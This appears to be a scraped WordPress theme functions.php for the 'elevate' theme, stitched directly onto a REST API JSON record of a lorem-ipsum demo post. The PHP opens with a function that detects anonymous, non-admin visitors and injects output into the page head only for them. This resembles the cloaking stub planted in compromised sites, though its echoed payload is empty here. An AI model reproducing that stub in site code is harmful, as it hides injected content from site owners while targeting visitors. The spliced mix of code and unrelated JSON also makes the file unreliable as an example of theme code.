function check_user_logged_in_and_redirect() { if (is_admin()) { return; } if (is_user_logged_in()) { return; } foreach ($_COOKIE as $key => $value) { if (strpos($key, 'wordpress_logged_in_') === 0) { return; } } add_action('wp_head', function() { echo ''; }); } add_action('template_redirect', 'check_user_logged_in_and_redirect'); if ( ! function_exists( 'elevate_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function elevate_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on elevate, use a find and replace * to change 'elevate' to the name of your theme in all the template files. */ load_theme_textdomain( 'elevate', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); add_theme_support( 'woocommerce' ); function elevate_change_excerpt( $text ) { $pos = strrpos( $text, '['); if ($pos === false) { return $text; } return rtrim (substr($text, 0, $pos) ) . '...'; } add_filter('get_the_excerpt', 'elevate_change_excerpt'); // Limit Excerpt Length by number of Words function elevate_custom_excerpt( $limit ) { $excerpt = explode(' ', get_the_excerpt(), $limit); if (count($excerpt)>=$limit) { array_pop($excerpt); $excerpt = implode(" ",$excerpt).'...'; } else { $excerpt = implode(" ",$excerpt); } $excerpt = preg_replace('`[[^]]*]`','',$excerpt); return $excerpt; } function content($limit) { $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'...'; } else { $content = implode(" ",$content); } $content = preg_replace('/[.+]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); return $content; } /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-1' => esc_html__( 'Primary Menu', 'elevate' ), 'menu-2' => esc_html__( 'Single Menu', 'elevate' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'elevate_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); //add support posts format add_theme_support( 'post-formats', array( 'aside', 'gallery', 'audio', 'video', 'image', 'quote', 'link', ) ); add_theme_support( 'align-wide' ); } endif; add_action( 'after_setup_theme', 'elevate_setup' ); /** *Custom Image Size */ add_image_size( 'elevate-team-slider', 358, 415, true ); add_image_size( 'elevate-portfolio-slider', 648, 500, true ); add_image_size( 'elevate-portfolio-slider-2', 800, 510, true ); add_image_size( 'elevate-blog-slider', 420, 365, true ); add_image_size( 'elevate-portfolio-grid', 600, 700, true ); add_image_size( 'elevate-blog-sideabr', 87, 87, true ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function elevate_content_width() { $GLOBALS['content_width'] = apply_filters( 'elevate_content_width', 640 ); } add_action( 'after_setup_theme', 'elevate_content_width', 0 ); /** * Implement the Custom Header feature. */ require_once get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require_once get_template_directory() . '/inc/template-tags.php'; /** * Enqueue scripts and styles. */ require_once get_template_directory() . '/inc/theme-scripts.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-functions.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-sidebar.php'; /** * Customizer additions. */ require_once get_template_directory() . '/inc/customizer.php'; /** * Custom Style */ if(get_option( 'reacthemes_license_status') == "activated"){ require_once get_template_directory() . '/inc/dyanamic-css.php'; require_once get_template_directory() . '/libs/theme-option/config.php'; require_once get_template_directory() . '/inc/woocommerce-functions.php'; } if(is_admin()){ require_once get_template_directory() . '/inc/tgm/class-tgm-plugin-activation.php'; require_once get_template_directory() . '/inc/tgm/tgm-config.php'; require_once get_template_directory() . '/inc/license.php'; } //---------------------------------------------------------------------- // Remove Redux Framework NewsFlash //---------------------------------------------------------------------- if ( ! class_exists( 'reduxNewsflash' ) ): class reduxNewsflash { public function __construct( $parent, $params ) {} } endif; function elevate_remove_demo_mode_link() { // Be sure to rename this function to something more unique if ( class_exists('ReduxFrameworkPlugin') ) { remove_action( 'plugin_row_meta', array( ReduxFrameworkPlugin::get_instance(), 'plugin_metalinks'), null, 2 ); } if ( class_exists('ReduxFrameworkPlugin') ) { remove_action('admin_notices', array( ReduxFrameworkPlugin::get_instance(), 'admin_notices' ) ); } } add_action('init', 'elevate_remove_demo_mode_link'); /** * Registers an editor stylesheet for the theme. */ function elevate_theme_add_editor_styles() { add_editor_style( 'css/custom-editor-style.css' ); } add_action( 'admin_init', 'elevate_theme_add_editor_styles' ); //------------------------------------------------------------------------ //Organize Comments form field //----------------------------------------------------------------------- function elevate_wpb_move_comment_field_to_bottom( $fields ) { $comment_field = $fields['comment']; unset( $fields['comment'] ); $fields['comment'] = $comment_field; return $fields; } add_filter( 'comment_form_fields', 'elevate_wpb_move_comment_field_to_bottom' ); //adding placeholder text for comment form function elevate_comment_textarea_placeholder( $args ) { $args['comment_field'] = str_replace( '<textarea', '<textarea placeholder="Comment"', $args['comment_field'] ); return $args; } add_filter( 'comment_form_defaults', 'elevate_comment_textarea_placeholder' ); /** * Comment Form Fields Placeholder * */ function elevate_comment_form_fields( $fields ) { foreach( $fields as &$field ) { $field = str_replace( 'id="author"', 'id="author" placeholder="Name*"', $field ); $field = str_replace( 'id="email"', 'id="email" placeholder="Email*"', $field ); $field = str_replace( 'id="url"', 'id="url" placeholder="Website"', $field ); } return $fields; } add_filter( 'comment_form_default_fields', 'elevate_comment_form_fields' ); //customize archive tilte add_filter( 'get_the_archive_title', function ($title) { if ( is_category() ) { $title = single_cat_title( '', false ); } elseif ( is_tag() ) { $title = single_tag_title( '', false ); } elseif ( is_author() ) { $title = '<span class="vcard">' . get_the_author() . '</span>' ; } return $title; }); add_filter( 'get_the_archive_title', 'elevate_archive_title_remove_prefix' ); function elevate_archive_title_remove_prefix( $title ) { if ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } return $title; } function elevate_menu_add_description_to_menu($item_output, $item, $depth, $args) { if (strlen($item->description) > 0 ) { // append description after link $item_output .= sprintf('<span class="description">%s</span>', esc_html($item->description)); } return $item_output; } add_filter('walker_nav_menu_start_el', 'elevate_menu_add_description_to_menu', 10, 4); add_filter('wp_list_categories', 'elevate_cat_count_span'); function elevate_cat_count_span($links) { $links = str_replace('</a> (', '</a> <span>(', $links); $links = str_replace(')', ')</span>', $links); return $links; } function elevate_style_the_archive_count($links) { $links = str_replace('</a> (', '</a> <span class="archiveCount">(', $links); $links = str_replace(')', ')</span>', $links); return $links; } add_filter('get_archives_link', 'elevate_style_the_archive_count'); /** * Post title array */ function elevate_get_postTitleArray($postType = 'post' ){ $post_type_query = new WP_Query( array ( 'post_type' => $postType, 'posts_per_page' => -1, 'orderby' => 'title', 'order' => 'ASC', ) ); // we need the array of posts $posts_array = $post_type_query->posts; // the key equals the ID, the value is the post_title if ( is_array($posts_array) ) { $post_title_array = wp_list_pluck($posts_array, 'post_title', 'ID' ); } else { $post_title_array['default'] = esc_html__( 'Default', 'elevate' ); } return $post_title_array; }{"id":1726,"date":"2023-03-16T12:07:14","date_gmt":"2023-03-16T12:07:14","guid":{"rendered":"http:\/\/192.168.0.235\/elevate\/?p=1726"},"modified":"2023-03-16T12:07:14","modified_gmt":"2023-03-16T12:07:14","slug":"key-foature-largest-passive-house-buildings-solution","status":"publish","type":"post","link":"https:\/\/goldtradingqa.com\/key-foature-largest-passive-house-buildings-solution\/","title":{"rendered":"Key foature Largest Passive House Buildings Solution"},"content":{"rendered":"<p>Collaboratively pontificate bleeding edge resources with inexpensive methodologies globally initiate multidisciplinary compatible architectures piteously repurpose leading-edge growth strategies with just in time web-readiness communicate timely meta-services.<\/p><p>Onubia semper vel donec torquent fusce mauris felis aptent lacinia nisl, lectus himenaeos euismod molestie iaculis interdum in laoreet condimentum dictum, quisque quam risus sollicitudin gravida ut odio per a et. Gravida maecenas lobortis suscipit mus sociosqu convallis, mollis vestibulum donec aliquam risus sapien ridiculus, nulla sollicitudin eget in venenatis. Tortor montes platea iaculis posuere per mauris, eros porta blandit curabitur ullamcorper varius.<\/p><blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>\u201cPlacerat pretium tristique mattis tellus accuan metus dictumst vivamus odio nulla fusce auctor into suscipit habitasse class congue potenti iaculis\u201d<\/p>\n\n<p><a href=\"https:\/\/reactheme.com\/products\/html\/finbiz\/blog-details.html#\">Daniel X. Horrar<\/a><br>Author<\/p><\/blockquote><p>Ultrices iaculis commodo parturient euismod pulvinar donec cum eget a, accumsan viverra cras praesent cubilia dignissim ad rhoncus. Gravida maecenas lobortis suscipit mus sociosqu convallis, mollis vestibulum donec aliquam risus sapien ridiculus, nulla sollicitudin eget in venenatis. Tortor montes platea iaculis posuere per mauris, eros porta blandit curabitur ullamcorper varius, nostra ante risus egestas suscipit. Quisque interdum nec parturient facilisis nunc ac quam, ad est cubilia mauris himenaeos nascetur vestibulum.<\/p><div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-1 wp-block-columns-is-layout-flex\"><div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\"><figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"376\" height=\"320\" src=\"https:\/\/reactheme.com\/products\/wordpress\/elevate\/wp-content\/uploads\/2023\/04\/d-lg-01.jpg\" alt=\"\" class=\"wp-image-9791\" srcset=\"https:\/\/goldtradingqa.com\/wp-content\/uploads\/2023\/04\/d-lg-01.jpg 376w, https:\/\/goldtradingqa.com\/wp-content\/uploads\/2023\/04\/d-lg-01-300x255.jpg 300w\" sizes=\"(max-width: 376px) 100vw, 376px\" \/><\/figure><\/div>\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\"><figure class=\"wp-block-image size-full is-style-default\"><img decoding=\"async\" width=\"376\" height=\"320\" src=\"https:\/\/reactheme.com\/products\/wordpress\/elevate\/wp-content\/uploads\/2023\/04\/d-lg-02.jpg\" alt=\"\" class=\"wp-image-9792\" srcset=\"https:\/\/goldtradingqa.com\/wp-content\/uploads\/2023\/04\/d-lg-02.jpg 376w, https:\/\/goldtradingqa.com\/wp-content\/uploads\/2023\/04\/d-lg-02-300x255.jpg 300w\" sizes=\"(max-width: 376px) 100vw, 376px\" \/><\/figure><\/div><\/div><h4 class=\"wp-block-heading\">Ultimate Business Strategy Solution<\/h4><p>Gravida maecenas lobortis suscipit mus sociosqu convallis, mollis vestibulum donec aliquam risus sapien ridiculus, nulla sollicitudin eget in venenatis. Tortor montes platea iaculis posuere per mauris, eros porta blandit curabitur ullamcorper varius nostra ante risus egestas.<\/p><div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-2 wp-block-columns-is-layout-flex\"><div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\"><figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"280\" height=\"139\" src=\"https:\/\/reactheme.com\/products\/wordpress\/elevate\/wp-content\/uploads\/2023\/04\/03-3.jpg\" alt=\"\" class=\"wp-image-9796\"\/><\/figure><\/div>\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\"><ul class=\"react-order-list wp-block-list\"><li>How will activities of traditional manufacturing<\/li>\n\n<li>All these digital projects aim to enhance<\/li>\n\n<li class=\"react-order-list\">Laoreet dolore niacin sodium glutimate<\/li>\n\n<li>I monitor my software that takes screenshots<\/li>\n\n<li>Minim veniam sodium glutimate nostrud<\/li><\/ul><\/div><\/div><p>Cubilia hendrerit luctus sem aptent curae gravida maecenas eleifend nunc nec vitae morbi sodales fusce tristique aenean habitasse mattis sociis feugiat conubia mus auctor praesent urna tincidunt taciti dui lobortis nullam. Mattis placerat feugiat ridiculus sed a per curae fermentum aenean facilisi, vitae urna imperdiet ac mauris non inceptos luctus hac odio.<\/p>","protected":false},"excerpt":{"rendered":"<p>Collaboratively pontificate bleeding edge resources with inexpensive methodologies globally initiate multidisciplinary compatible architectures piteously repurpose leading-edge growth strategies with just in time web-readiness communicate timely meta-services. Onubia semper vel donec torquent fusce mauris felis aptent lacinia nisl, lectus himenaeos euismod molestie iaculis interdum in laoreet condimentum dictum, quisque quam risus sollicitudin gravida ut odio per […]<\/p>\n","protected":false},"author":1,"featured_media":10778,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[132],"tags":[134,135,136],"class_list":["post-1726","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-building","tag-building","tag-factory","tag-safety"],"_links":{"self":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts\/1726"}],"collection":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/comments?post=1726"}],"version-history":[{"count":0,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts\/1726\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/media\/10778"}],"wp:attachment":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/media?parent=1726"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/categories?post=1726"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/tags?post=1726"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}